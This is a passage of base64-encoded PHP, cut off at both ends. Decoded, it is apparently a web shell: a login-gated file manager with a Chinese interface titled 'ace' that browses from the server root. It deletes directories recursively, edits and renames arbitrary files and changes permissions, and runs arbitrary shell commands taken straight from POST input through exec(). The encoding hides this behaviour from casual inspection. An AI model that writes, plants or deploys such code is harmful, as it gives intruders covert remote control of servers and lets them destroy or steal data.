yeSgkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi55uu5b2V5Yig6Zmk5oiQ5YqfIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleWIoOmZpOebruW9lSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHVubGluaygkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi5paH5Lu25Yig6Zmk5oiQ5YqfIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleWIoOmZpOaWh+S7tiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAncmVuYW1lJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRvbGRfcGF0aCA9ICRfUE9TVFsnb2xkX3BhdGgnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRuZXdfbmFtZSA9ICRfUE9TVFsnbmV3X25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb2xkX3BhdGggJiYgJG5ld19uYW1lKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld19wYXRoID0gZGlybmFtZSgkb2xkX3BhdGgpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRuZXdfbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocmVuYW1lKCRvbGRfcGF0aCwgJG5ld19wYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLph43lkb3lkI3miJDlip8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazlemHjeWRveWQjSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2VkaXRfZmlsZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXBhdGggPSAkX1BPU1RbJ2ZpbGVwYXRoJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICRfUE9TVFsnY29udGVudCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+d3JpdGVGaWxlKCRmaWxlcGF0aCwgJGNvbnRlbnQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuaWh+S7tuS/neWtmOaIkOWKnyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5peg5rOV5L+d5a2Y5paH5Lu2Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnY2hhbmdlX3Blcm1pc3Npb25zJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkX1BPU1RbJ3RhcmdldCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1pc3Npb25zID0gJF9QT1NUWydwZXJtaXNzaW9ucyddOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0YXJnZXQgJiYgJHBlcm1pc3Npb25zKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXjA/WzAtN117M30kLycsICRwZXJtaXNzaW9ucykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5p2D6ZmQ5qC85byP6ZSZ6K+vIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtaXNzaW9ucyA9IG9jdGRlYygkcGVybWlzc2lvbnMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjaG1vZCgkdGFyZ2V0LCAkcGVybWlzc2lvbnMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuadg+mZkOS/ruaUueaIkOWKnyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5peg5rOV5L+u5pS55p2D6ZmQIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQoNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnZXhlY3V0ZV9jb21tYW5kJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gJF9QT1NUWydjb21tYW5kJ107DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGNvbW1hbmQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0dXJuX2NvZGUgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4ZWMoImNkICIgLiBlc2NhcGVzaGVsbGFyZygkdGhpcy0+Y3VycmVudF9wYXRoKSAuICIgJiYgIiAuICRjb21tYW5kIC4gIiAyPiYxIiwgJG91dHB1dCwgJHJldHVybl9jb2RlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2NvbW1hbmRfb3V0cHV0J10gPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NvbW1hbmQnID0+ICRjb21tYW5kLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3V0cHV0JyA9PiAkb3V0cHV0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAncmV0dXJuX2NvZGUnID0+ICRyZXR1cm5fY29kZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICRlLT5nZXRNZXNzYWdlKCk7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2VfdHlwZSA9ICdlcnJvcic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gYXJyYXkoJ21lc3NhZ2UnID0+ICRtZXNzYWdlLCAndHlwZScgPT4gJG1lc3NhZ2VfdHlwZSk7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcikgew0KICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7DQogICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgaWYgKCRpdGVtID09ICcuJyB8fCAkaXRlbSA9PSAnLi4nKSBjb250aW51ZTsNCg0KICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+ZGVsZXRlRGlyZWN0b3J5KCRwYXRoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgdW5saW5rKCRwYXRoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiBybWRpcigkZGlyKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuZGVyKCkgew0KICAgICAgICBpZiAoISR0aGlzLT5pc0xvZ2dlZEluKCkpIHsNCiAgICAgICAgICAgICR0aGlzLT5zaG93TG9naW5QYWdlKCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCg0KICAgICAgICAkYWN0aW9uX3Jlc3VsdCA9ICR0aGlzLT5oYW5kbGVBY3Rpb25zKCk7DQogICAgICAgICRjb250ZW50cyA9ICR0aGlzLT5nZXREaXJlY3RvcnlDb250ZW50cygpOw0KDQogICAgICAgICRjb21tYW5kX291dHB1dCA9IGlzc2V0KCRfU0VTU0lPTlsnY29tbWFuZF9vdXRwdXQnXSkgPyAkX1NFU1NJT05bJ2NvbW1hbmRfb3V0cHV0J10gOiBudWxsOw0KICAgICAgICBpZiAoJGNvbW1hbmRfb3V0cHV0KSB7DQogICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2NvbW1hbmRfb3V0cHV0J10pOw0KICAgICAgICB9DQoNCiAgICAgICAgJGVkaXRpbmdfZmlsZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pID8gJF9HRVRbJ2VkaXQnXSA6IG51bGw7DQogICAgICAgICRmaWxlX2NvbnRlbnQgPSAnJzsNCiAgICAgICAgJGZpbGVfaW5mbyA9IGFycmF5KCk7DQoNCiAgICAgICAgaWYgKCRlZGl0aW5nX2ZpbGUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgJGZpbGVfY29udGVudCA9ICR0aGlzLT5yZWFkRmlsZSgkZWRpdGluZ19maWxlKTsNCiAgICAgICAgICAgICAgICAkZmlsZV9pbmZvID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiBiYXNlbmFtZSgkZWRpdGluZ19maWxlKSwNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRlZGl0aW5nX2ZpbGUsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAkdGhpcy0+Zm9ybWF0U2l6ZShmaWxlc2l6ZSgkZWRpdGluZ19maWxlKSksDQogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJGVkaXRpbmdfZmlsZSkpLA0KICAgICAgICAgICAgICAgICAgICAncGVybWlzc2lvbnMnID0+ICR0aGlzLT5nZXRQZXJtaXNzaW9ucygkZWRpdGluZ19maWxlKSwNCiAgICAgICAgICAgICAgICAgICAgJ251bWVyaWNfcGVybWlzc2lvbnMnID0+ICR0aGlzLT5nZXROdW1lcmljUGVybWlzc2lvbnMoJGVkaXRpbmdfZmlsZSkNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICAgICAgJGFjdGlvbl9yZXN1bHQgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgJ21lc3NhZ2UnID0+ICRlLT5nZXRNZXNzYWdlKCksDQogICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnZXJyb3InDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkZWRpdGluZ19maWxlID0gbnVsbDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgID8+DQogICAgICAgIDwhRE9DVFlQRSBodG1sPg0KICAgICAgICA8aHRtbCBsYW5nPSJ6aC1DTiI+DQogICAgICAgIDxoZWFkPg0KICAgICAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgICAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgICAgICAgICAgPHRpdGxlPmFjZTwvdGl0bGU+DQogICAgICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICAgICAgKnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fQ0KICAgICAgICAgICAgICAgIGJvZHl7Zm9udC1mYW1pbHk6QXJpYWwsc2Fucy1zZXJpZjtsaW5lLWhlaWdodDoxLjY7Y29sb3I6IzMzMztiYWNrZ3JvdW5kOiNmNWY1ZjV9DQogICAgICAgICAgICAgICAgLmNvbnRhaW5lcnttYXgtd2lkdGg6MTQwMHB4O21hcmdpbjowIGF1dG87YmFja2dyb3VuZDp3aGl0ZTtib3gtc2hhZG93OjAgMnB4IDVweCByZ2JhKDAsMCwwLDAuMSk7bWluLWhlaWdodDoxMDB2aH0NCiAgICAgICAgICAgICAgICAuaGVhZGVye2JhY2tncm91bmQ6IzJjM2U1MDtjb2xvcjp3aGl0ZTtwYWRkaW5nOjE1cHggMjBweDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyfQ0KICAgICAgICAgICAgICAgIC5oZWFkZXItaW5mbyBoMXttYXJnaW4tYm90dG9tOjVweDtmb250LXNpemU6MjBweH0NCiAgICAgICAgICAgICAgICAudXNlci1pbmZve3RleHQtYWxpZ246cmlnaHQ7Zm9udC1zaXplOjE0cHh9DQogICAgICAgICAgICAgICAgLnVzZXItaW5mbyAudXNlcm5hbWV7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojMzQ5OGRifQ0KICAgICAgICAgICAgICAgIC5sb2dvdXQtYnRue2JhY2tncm91bmQ6I2U3NGMzYztjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtwYWRkaW5nOjZweCAxMnB4O2JvcmRlci1yYWRpdXM6M3B4O2N1cnNvcjpwb2ludGVyO3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi10b3A6M3B4O2ZvbnQtc2l6ZToxMnB4fQ0KICAgICAgICAgICAgICAgIC5sb2dvdXQtYnRuOmhvdmVye2JhY2tncm91bmQ6I2MwMzkyYn0NCiAgICAgICAgICAgICAgICAuY3VycmVudC1wYXRoe2JhY2tncm91bmQ6IzM0NDk1ZTtwYWRkaW5nOjhweCAyMHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt3b3JkLWJyZWFrOmJyZWFrLWFsbDtjb2xvcjojZWNmMGYxO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5uYXZpZ2F0aW9ue2JhY2tncm91bmQ6I2VjZjBmMTtwYWRkaW5nOjEycHggMjBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjYmRjM2M3fQ0KICAgICAgICAgICAgICAgIC5uYXYtYnV0dG9uc3tkaXNwbGF5OmZsZXg7Z2FwOjhweDtmbGV4LXdyYXA6d3JhcDttYXJnaW4tYm90dG9tOjhweH0NCiAgICAgICAgICAgICAgICAuYnRue3BhZGRpbmc6NnB4IDEycHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czozcHg7Y3Vyc29yOnBvaW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Zm9udC1zaXplOjEzcHh9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5e2JhY2tncm91bmQ6IzM0OThkYjtjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLXByaW1hcnk6aG92ZXJ7YmFja2dyb3VuZDojMjk4MGI5fQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2Vzc3tiYWNrZ3JvdW5kOiMyN2FlNjA7Y29sb3I6d2hpdGV9DQogICAgICAgICAgICAgICAgLmJ0bi13YXJuaW5ne2JhY2tncm91bmQ6I2YzOWMxMjtjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm97YmFja2dyb3VuZDojMTdhMmI4O2NvbG9yOndoaXRlfQ0KICAgICAgICAgICAgICAgIC5idG4tZGFuZ2Vye2JhY2tncm91bmQ6I2U3NGMzYztjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLXByb2plY3R7YmFja2dyb3VuZDojOWI1OWI2O2NvbG9yOndoaXRlfQ0KICAgICAgICAgICAgICAgIC5idG4tcHJvamVjdDpob3ZlcntiYWNrZ3JvdW5kOiM4ZTQ0YWR9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2V7cGFkZGluZzo4cHggMTJweDttYXJnaW46OHB4IDA7Ym9yZGVyLXJhZGl1czozcHg7Zm9udC1zaXplOjEzcHh9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2Uuc3VjY2Vzc3tiYWNrZ3JvdW5kOiNkNGVkZGE7Y29sb3I6IzE1NTcyNDtib3JkZXI6MXB4IHNvbGlkICNjM2U2Y2J9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2UuZXJyb3J7YmFja2dyb3VuZDojZjhkN2RhO2NvbG9yOiM3MjFjMjQ7Ym9yZGVyOjFweCBzb2xpZCAjZjVjNmNifQ0KICAgICAgICAgICAgICAgIC5maWxlLXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5maWxlLXRhYmxlIHRoLC5maWxlLXRhYmxlIHRke3BhZGRpbmc6OHB4IDEwcHg7dGV4dC1hbGlnbjpsZWZ0O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNlY2YwZjF9DQogICAgICAgICAgICAgICAgLmZpbGUtdGFibGUgdGh7YmFja2dyb3VuZDojMzQ0OTVlO2NvbG9yOndoaXRlO2ZvbnQtd2VpZ2h0OjYwMH0NCiAgICAgICAgICAgICAgICAuZmlsZS10YWJsZSB0cjpob3ZlcntiYWNrZ3JvdW5kOiNmOGY5ZmF9DQogICAgICAgICAgICAgICAgLmZpbGUtbmFtZXtmb250LXdlaWdodDo1MDB9DQogICAgICAgICAgICAgICAgLmRpcmVjdG9yeXtjb2xvcjojMzQ5OGRifQ0KICAgICAgICAgICAgICAgIC5maWxle2NvbG9yOiMyYzNlNTB9DQogICAgICAgICAgICAgICAgLmZpbGUtYWN0aW9uc3tkaXNwbGF5OmZsZXg7Z2FwOjNweH0NCiAgICAgICAgICAgICAgICAuYWN0aW9uLWJ0bntwYWRkaW5nOjNweCA2cHg7Zm9udC1zaXplOjExcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czoycHg7Y3Vyc29yOnBvaW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQogICAgICAgICAgICAgICAgLm1vZGFse2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsMC41KTt6LWluZGV4OjEwMDB9DQogICAgICAgICAgICAgICAgLm1vZGFsLWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjUwJTtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7YmFja2dyb3VuZDp3aGl0ZTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czo1cHg7bWluLXdpZHRoOjM1MHB4O21heC13aWR0aDo5MCU7bWF4LWhlaWdodDo5MHZoO292ZXJmbG93LXk6YXV0b30NCiAgICAgICAgICAgICAgICAubW9kYWwgaDN7bWFyZ2luLWJvdHRvbToxNXB4O2NvbG9yOiMyYzNlNTA7Zm9udC1zaXplOjE2cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxMnB4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWdyb3VwIGxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTozcHg7Zm9udC13ZWlnaHQ6NTAwO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWNvbnRyb2x7d2lkdGg6MTAwJTtwYWRkaW5nOjZweCA4cHg7Ym9yZGVyOjFweCBzb2xpZCAjYmRjM2M3O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWNvbnRyb2wtc21hbGx7d2lkdGg6MTAwcHh9DQogICAgICAgICAgICAgICAgdGV4dGFyZWEuZm9ybS1jb250cm9se21pbi1oZWlnaHQ6MjUwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3Jlc2l6ZTp2ZXJ0aWNhbDtmb250LXNpemU6MTJweH0NCiAgICAgICAgICAgICAgICAuY29tbWFuZC1vdXRwdXR7YmFja2dyb3VuZDojMmMzZTUwO2NvbG9yOiNlY2YwZjE7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt3aGl0ZS1zcGFjZTpwcmUtd3JhcDttYXgtaGVpZ2h0OjIwMHB4O292ZXJmbG93LXk6YXV0bzttYXJnaW4tdG9wOjhweDtmb250LXNpemU6MTJweH0NCiAgICAgICAgICAgICAgICAuZmlsZS1pbmZve2JhY2tncm91bmQ6I2Y4ZjlmYTtwYWRkaW5nOjEycHg7Ym9yZGVyLXJhZGl1czozcHg7bWFyZ2luLWJvdHRvbToxMnB4O2JvcmRlci1sZWZ0OjRweCBzb2xpZCAjMzQ5OGRiO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5maWxlLWluZm8taXRlbXttYXJnaW4tYm90dG9tOjNweH0NCiAgICAgICAgICAgICAgICAuZWRpdG9yLWFjdGlvbnN7ZGlzcGxheTpmbGV4O2dhcDo4cHg7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kO21hcmdpbi10b3A6MTJweDtwYWRkaW5nLXRvcDoxMnB4O2JvcmRlci10b3A6MXB4IHNvbGlkICNlY2YwZjF9DQogICAgICAgICAgICAgICAgLmNvbnRlbnQtYXJlYXtwYWRkaW5nOjE1cHh9DQogICAgICAgICAgICAgICAgLnBlcm1pc3Npb24taGVscHttYXJnaW4tdG9wOjhweDtwYWRkaW5nOjhweDtiYWNrZ3JvdW5kOiNlOGY0ZmQ7Ym9yZGVyLXJhZGl1czozcHg7Zm9udC1zaXplOjExcHg7Y29sb3I6IzJjM2U1MH0NCiAgICAgICAgICAgICAgICAucGVybWlzc2lvbi1oZWxwIGg0e21hcmdpbi1ib3R0b206M3B4O2NvbG9yOiMzNDk4ZGI7Zm9udC1zaXplOjEycHh9DQogICAgICAgICAgICAgICAgLnBlcm1pc3Npb24taGVscCB1bHttYXJnaW46MDtwYWRkaW5nLWxlZnQ6MTVweH0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXZpZ2F0aW9ue21hcmdpbi1ib3R0b206MTBweDtmb250LXNpemU6MTJweDtjb2xvcjojNjY2fQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdmlnYXRpb24gYXtjb2xvcjojMzQ5OGRiO3RleHQtZGVjb3JhdGlvbjpub25lfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdmlnYXRpb24gYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfQ0KICAgICAgICAgICAgICAgIC5xdWljay1saW5rc3ttYXJnaW4tYm90dG9tOjE1cHg7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6I2U4ZjRmZDtib3JkZXItcmFkaXVzOjNweH0NCiAgICAgICAgICAgICAgICAucXVpY2stbGlua3MgaDR7bWFyZ2luLWJvdHRvbTo4cHg7Y29sb3I6IzJjM2U1MDtmb250LXNpemU6MTRweH0NCiAgICAgICAgICAgICAgICAucXVpY2stbGluay1idG57ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzo0cHggOHB4O21hcmdpbjoycHg7YmFja2dyb3VuZDojMzQ5OGRiO2NvbG9yOndoaXRlO3RleHQtZGVjb3JhdGlvbjpub25lO2JvcmRlci1yYWRpdXM6MnB4O2ZvbnQtc2l6ZToxMXB4fQ0KICAgICAgICAgICAgICAgIC5xdWljay1saW5rLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiMyOTgwYjl9DQogICAgICAgICAgICAgICAgLnF1aWNrLWxpbmstcHJvamVjdHtiYWNrZ3JvdW5kOiM5YjU5YjZ9DQogICAgICAgICAgICAgICAgLnF1aWNrLWxpbmstcHJvamVjdDpob3ZlcntiYWNrZ3JvdW5kOiM4ZTQ0YWR9DQogICAgICAgICAgICA8L3N0eWxlPg0KICAgICAgICA8L2hlYWQ+DQogICAgICAgIDxib2R5Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItaW5mbyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXY+5pyN5Yqh5Zmo5qC555uu5b2VOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJy8nKSA/OiAnLycpOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2PuW9k+WJjemhueebruagueebruW9lTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0aGlzLT5wcm9qZWN0X3Jvb3QpOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzZXItaW5mbyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXY+55So5oi3OiA8c3BhbiBjbGFzcz0idXNlcm5hbWUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0VXNlcm5hbWUoKSk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YWN0aW9uPWxvZ291dCIgY2xhc3M9ImxvZ291dC1idG4iPumAgOWHujwvYT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXJyZW50LXBhdGgiPuW9k+WJjei3r+W+hDogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0aGlzLT5jdXJyZW50X3BhdGgpOyA/PjwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZpZ2F0aW9uIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYnV0dG9ucyI+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgb25jbGljaz0ic2hvd01vZGFsKCdjcmVhdGVGaWxlTW9kYWwnKSI+5paw5bu65paH5Lu2PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgb25jbGljaz0ic2hvd01vZGFsKCdjcmVhdGVEaXJNb2RhbCcpIj7mlrDlu7rmlofku7blpLk8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIiBvbmNsaWNrPSJzaG93TW9kYWwoJ2NvbW1hbmRNb2RhbCcpIj7miafooYzlkb3ku6Q8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIiBvbmNsaWNrPSJsb2NhdGlvbi5yZWxvYWQoKSI+5Yi35pawPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPS8iIGNsYXNzPSJidG4gYnRuLWluZm8iPuacjeWKoeWZqOagueebruW9lTwvYT4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9PD9waHAgZWNobyB1cmxlbmNvZGUoJHRoaXMtPnByb2plY3Rfcm9vdCk7ID8+IiBjbGFzcz0iYnRuIGJ0bi1wcm9qZWN0Ij7lvZPliY3pobnnm648L2E+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPS9ob2